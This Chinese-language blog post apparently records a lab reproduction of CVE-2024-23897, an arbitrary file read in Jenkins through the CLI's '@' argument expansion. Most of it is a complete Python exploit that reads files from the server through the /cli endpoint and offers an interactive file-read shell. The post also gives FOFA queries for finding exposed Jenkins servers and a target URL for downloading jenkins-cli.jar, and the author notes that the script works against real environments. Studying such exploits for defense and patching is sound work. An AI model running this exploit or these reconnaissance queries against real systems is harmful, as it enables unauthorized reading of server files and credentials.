Jenkins文件读取漏洞CVE-2024-23897

本文最后更新于 2024年11月14日 下午

本着只是浮现的原则,这里上一下p神的文章深入的了解一下原理Jenkins文件读取漏洞拾遗(CVE-2024-23897) | 离别歌

靶标介绍

Jenkins 2.441及更早版本,以及LTS 2.426.2及更早版本没有禁用其CLI命令解析器的一个功能,该功能会将参数中‘@’字符后跟的文件路径替换为该文件的内容,允许未经身份验证的攻击者读取Jenkins控制器文件系统上的任意文件。

影响范围

版本<= Jenkins 2.441、版本<= LTS 2.426.2

信息收集

fofa

header=”X-Jenkins” || banner=”X-Jenkins” || header=”X-Hudson” || banner=”X-Hudson” || header=”X-Required-Permission: hudson.model.Hudson.Read” || banner=”X-Required-Permission: hudson.model.Hudson.Read” || body=”Jenkins-Agent-Protocols”

(感觉大部分都是蜜罐,国内的特别多,大抵需要充钱才能找到有用信息)

复现

先进入前端页面

2024-11-12165824

拼接输入jnlpJars/jenkins-cli.jar可以下载到jar文件,例如

1
http://39.106.48.123:29826/jnlpJars/jenkins-cli.jar

然后进入kali里面进行以下的操作

2024-11-12170917

写题目就是到这里,简单的利用漏洞,原理参考开头的文章

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
This script is used to exploit CVE-2024-23897 (Jenkins file-read).
This script was created to parse the output file content correctly.
Limitations: https://www.jenkins.io/security/advisory/2024-01-24/#binary-files-note
"""

# Imports
import argparse
from cmd import Cmd
import os
import re
import requests
import struct
import threading
import time
import urllib.parse
import uuid


# Constants
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
ENDC = "\033[0m"
ENCODING = "UTF-8"


class File_Terminal(Cmd):
"""This class provides a terminal prompt for file read attempts."""

intro = "Welcome to the Jenkins file-read shell. Type help or ? to list commands.\n"
prompt = "file> "
file = None

def __init__(self, read_file_func):
self.read_file = read_file_func
super().__init__()

def do_cat(self, file_path):
"""Retrieve file contents."""
self.read_file(file_path)

def do_exit(self, *args):
"""Exit the terminal."""
return True

default = do_cat


class Op:
ARG = 0
LOCALE = 1
ENCODING = 2
START = 3
EXIT = 4
STDIN = 5
END_STDIN = 6
STDOUT = 7
STDERR = 8


def send_upload_request(uuid_str, file_path):
time.sleep(0.3)

try:
# Construct payload
data = (
jenkins_arg("connect-node", Op.ARG)
+ jenkins_arg("@" + file_path, Op.ARG)
+ jenkins_arg(ENCODING, Op.ENCODING)
+ jenkins_arg("en", Op.LOCALE)
+ jenkins_arg("", Op.START)
)

# Send upload request
r = requests.post(
url=args.url + "/cli?remoting=false",
headers={
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream",
},
data=data,
proxies=proxies,
timeout=timeout,
)

except requests.exceptions.Timeout:
print(f"{RED}Request timed out{ENDC}")
return False
except Exception as e:
print(f"{RED}Error in download request:{ENDC} {str(e)}")
return False


def jenkins_arg(string, operation) -> bytes:
out_bytes = b"\x00\x00"
out_bytes += struct.pack(">H", len(string) + 2)
out_bytes += bytes([operation])
out_bytes += struct.pack(">H", len(string))
out_bytes += string.encode("UTF-8")
return out_bytes


def safe_filename(path):
# Get the basename of the path
safe_path = path.replace("/", "_")
# Replace non-alphanumeric characters (except underscores) with underscores
safe_name = "".join(c if c.isalnum() or c == "_" else "_" for c in safe_path)
return safe_name


def send_download_request(uuid_str, file_path):
file_contents = b""
try:
# Send download request
r = requests.post(
url=args.url + "/cli?remoting=false",
headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Session": uuid_str, "Side": "download"},
proxies=proxies,
timeout=timeout,
)

# Parse response content
response = r.content.strip(b"\x00")
if response:
if b"No such file:" in response:
print("File does not exist")
return False
elif b"No such agent" in response:
matches = re.findall(b'No such agent "(.*?)"', response)
if matches:
file_contents = b"\n".join(matches)

except requests.exceptions.Timeout:
print(f"{RED}Request timed out{ENDC}")
return False
except Exception as e:
print(f"{RED}Error in download request:{ENDC} {str(e)}")
return False

# Save file
if args.save:
safe_path = safe_filename(file_path).strip("_")
if not os.path.exists(safe_path) or args.overwrite:
with open(safe_path, "wb") as f:
f.write(file_contents)
if args.verbose:
print(f"[*] File saved to {safe_path}")
else:
if args.verbose:
print(f"[*] File already saved to {safe_path}")

# Print contents
if file_contents:
if isinstance(file_contents, bytes):
print(file_contents.decode(ENCODING, errors="ignore").replace("\x00", "\n").strip())
else:
print(file_contents.replace("\x00", "\n").strip())
else:
print("<empty>")

return True


def read_file(file_path):
# Create random UUID
uuid_str = str(uuid.uuid4())

# Send upload/download requests
upload_thread = threading.Thread(target=send_upload_request, args=(uuid_str, file_path))
download_thread = threading.Thread(target=send_download_request, args=(uuid_str, file_path))
upload_thread.start()
download_thread.start()
upload_thread.join()
download_thread.join()


if __name__ == "__main__":
# Parse arguments
parser = argparse.ArgumentParser(description="POC for CVE-2024-23897 (Jenkins file read)")
parser.add_argument("-u", "--url", type=str, required=True, help="Jenkins URL")
parser.add_argument("-f", "--file", type=str, required=False, help="File path to read")
parser.add_argument("-t", "--timeout", type=int, default=3, required=False, help="Request timeout")
parser.add_argument("-s", "--save", action="store_true", required=False, help="Save file contents")
parser.add_argument("-o", "--overwrite", action="store_true", required=False, help="Overwrite existing files")
parser.add_argument("-p", "--proxy", type=str, required=False, help="HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)")
parser.add_argument("-v", "--verbose", action="store_true", required=False, help="Verbosity enabled - additional output flag")
args = parser.parse_args()

# Input-checking
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
args.url = urllib.parse.urlparse(args.url).geturl()
if args.proxy:
proxies = {"http": args.proxy, "https": args.proxy}
else:
proxies = {}
timeout = args.timeout

# Execute
if args.file:
read_file(args.file)
else:
File_Terminal(read_file).cmdloop()

脚本适用于真实环境,本题不太适用


Jenkins文件读取漏洞CVE-2024-23897
https://0ran9ewww.github.io/2024/11/12/cve复现/Jenkins文件读取漏洞CVE-2024-23897/
作者
orange
发布于
2024年11月12日
许可协议